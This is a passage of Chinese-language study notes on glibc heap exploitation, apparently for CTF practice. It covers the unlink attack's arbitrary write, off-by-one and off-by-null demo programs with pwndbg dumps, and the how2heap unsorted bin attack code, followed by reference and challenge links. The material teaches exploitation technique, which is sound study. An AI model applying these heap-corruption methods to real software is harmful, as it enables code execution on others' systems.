如同上面,很顯然的p跟ptr1指向fake chunk跟p指向的位置相同 -> OK 這邊成功bypass保護機制
最後unlink
1 2 fd->bk = bk; bk->fd = fd;
就是
1 2 3 4 5 |prev/data| #ptr-0x18 <- fake chunk fd | size | #ptr-0x10 <- fake chunk bk | (fd) | #ptr-0x8 | ptr1(bk)| | ptr2 |
fake chunk fd指向的bk(ptr1)會指向fake chunk bk指向的位置(ptr1-0x10)
1 2 3 4 5 | | #ptr-0x18 <- fake chunk fd |prev/data| #ptr-0x10 <- fake chunk bk | size | #ptr-0x8 | ptr1(fd)| | ptr2(bk)|
fake chunk bk指向的fd(ptr1)會指向fake chunk fd指向的位置(ptr1-0x18)
Unlink結束,最後發現ptr1現在指向的位置是ptr1-0x18 通常我們的ptr1是可以任意寫他指向的位置的 所以可以寫ptr1-0x18,一路往下寫,把ptr1改寫成任意位置,來達到任意寫
1 2 3 4 5 | aaa... | #ptr-0x18 | aaa... | #ptr-0x10 | aaa... | #ptr-0x8 |pwn addr| | ptr2 |
ptr1->pwn addr 可以任意寫入pwn addr(可能是malloc hook之類的來RCE)
一些越界1 byte的例子 demo1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> #include <stdlib.h> int my_gets (char *ptr,int size) { int i; for (i=0 ;i<=size;i++) { ptr[i]=getchar(); } return i; } int main () { void *chunk1,*chunk2; chunk1=malloc (16 ); chunk2=malloc (16 ); puts ("Get Input:" ); my_gets(chunk1,16 ); return 0 ; }
for循環寫入沒做好,多寫了一個byte
image
1 2 3 4 5 6 7 pwndbg> x/30xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x6161616161616161 0x6161616161616161 0x5555555592b0: 0x0000000000000061 0x0000000000000021 <-prev越界多寫一個 0x5555555592c0: 0x0000000000000000 0x0000000000000000 0x5555555592d0: 0x0000000000000000 0x0000000000000411 0x5555555592e0: 0x75706e4920746547 0x00000000000a3a74
demo2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <stdio.h> #include <stdlib.h> int main (void ) { char buffer[40 ]="" ; void *chunk1; chunk1=malloc (24 ); puts ("Get Input" ); gets(buffer); if (strlen (buffer)==24 ) { strcpy (chunk1,buffer); } return 0 ; }
strlen()跟strcpy()不一致產生的問題,strlen在計算長度時並沒有把\x00
算進去,導致strcpy()進chunk1多寫一個\x00
1 2 3 4 5 6 pwndbg> x/30xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x0000000000000000 0x0000000000000000 0x5555555592b0: 0x0000000000000000 0x0000000000000411 0x5555555592c0: 0x75706e4920746547 0x0000000000000a74 0x5555555592d0: 0x0000000000000000 0x0000000000000000
這邊輸入24個a,發現下個chunk size被蓋成400,蓋掉P bit了
1 2 3 4 5 6 pwndbg> x/30xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000021 0x5555555592a0: 0x6161616161616161 0x6161616161616161 0x5555555592b0: 0x6161616161616161 0x0000000000000400 0x5555555592c0: 0x75706e4920746547 0x0000000000000a74 0x5555555592d0: 0x0000000000000000 0x0000000000000000
unsorted bin attack 原理 看到這段,在拿unsored bin的時候,會根據以下
1 2 3 4 victim = unsorted_chunks (av)->bk bck = victim->bk unsorted_chunks (av)->bk = bck bck->fd = unsorted_chunks (av)
加入一張圖方便理解
image
他會把main arena中的bk給 victim,也就是victim就是chunk 3 把chunk 3 給 chunk bck,也就是bck = chunk 2 之後把main arena的bk給chunk 2 bck 的fd 指回 main arena,完成unlink
可以從第二行下手 如果我們透過overflow偽造 chunk 3(victim) 的 bk 我們可以將main arena + 88/96 address 寫入到 bck 的 fd 指向的位置
how2heap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> #include <stdlib.h> int main () { fprintf (stderr , "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n" ); fprintf (stderr , "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n" ); unsigned long stack_var=0 ; fprintf (stderr , "Let's first look at the target we want to rewrite on stack:\n" ); fprintf (stderr , "%p: %ld\n\n" , &stack_var, stack_var); unsigned long *p=malloc (400 ); fprintf (stderr , "Now, we allocate first normal chunk on the heap at: %p\n" ,p); fprintf (stderr , "And allocate another normal chunk in order to avoid consolidating the top chunk with" "the first one during the free()\n\n" ); malloc (500 ); free (p); fprintf (stderr , "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer " "point to %p\n" ,(void *)p[1 ]); p[1 ]=(unsigned long )(&stack_var-2 ); fprintf (stderr , "Now emulating a vulnerability that can overwrite the victim->bk pointer\n" ); fprintf (stderr , "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n" ,(void *)p[1 ]); malloc (400 ); fprintf (stderr , "Let's malloc again to get the chunk we just free. During this time, the target should have already been " "rewritten:\n" ); fprintf (stderr , "%p: %p\n" , &stack_var, (void *)stack_var); }
我們先malloc兩塊chunk chunk 1 size 400 chunk 2 size 500 之後free chunk 1 chunk 1進入到unsorted bin中 目前bk會指回main arena
我們目標是把stack某位置改寫 我們UAF去修改掉unsorted bin中chunk 的bk 成stack - 0x10 malloc回來就可以寫main arena address 到stack上
1 2 3 bck = victim->bk (stack - 0x10 ) unsorted_chunks (av)->bk = bck bck->fd (stack ) = unsorted_chunks (av) (main arena address)
book https://github.com/limitedeternity/HeapLAB/blob/main/HeapLab%20-%20GLIBC%20Heap%20Exploitation.pdf
一些連結 basichttps://blog.csdn.net/songchuwang1868/article/details/89951543
Pwngdbhttps://github.com/scwuaptx/Pwngdb
與 gef 混用https://gist.githubusercontent.com/LJP-TW/2edf8b66b61e91a232f76acc487bbd10/raw/a36ef8256fb934f4cf9cdbdea65f6ada2e383b84/.gdbinit
linkhttps://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/#smallbin
https://www.openeuler.org/zh/blog/wangshuo/Glibc%20Malloc%20Principle/Glibc_Malloc_Principle.html
題目 https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2016_zctf_note2 https://github.com/veritas501/hctf2018/blob/master/pwn-heapstorm_zero/heapstorm_zero.c https://nocbtm.github.io/2020/02/28/off-by-null/#%E5%8F%A6%E4%B8%80%E7%A7%8D%E5%B8%83%E5%B1%80 https://github.com/CTFTraining/HuXiang_2019_pwn_HackNote/tree/master https://makabaka-yyds.github.io/2022/05/09/glibc2-29%E4%BB%A5%E4%B8%8A%E7%9A%84off-by-null/
ref https://bbs.kanxue.com/thread-257901.htm https://nopnoping.github.io/off-by-one%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/ https://makabaka-yyds.github.io/2022/05/09/glibc2-29%E4%BB%A5%E4%B8%8A%E7%9A%84off-by-null/
https://github.com/kaiiiz/NTU-Computer-Security-2021-Fall/blob/main/Pwn/Pwn%20II/malloc_internal.c
https://blog.csdn.net/qq_41202237/article/details/113400567
https://github.com/limitedeternity/HeapLAB/tree/main?tab=readme-ov-file
https://ctf-wiki.org/en/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/#tcache-poisoning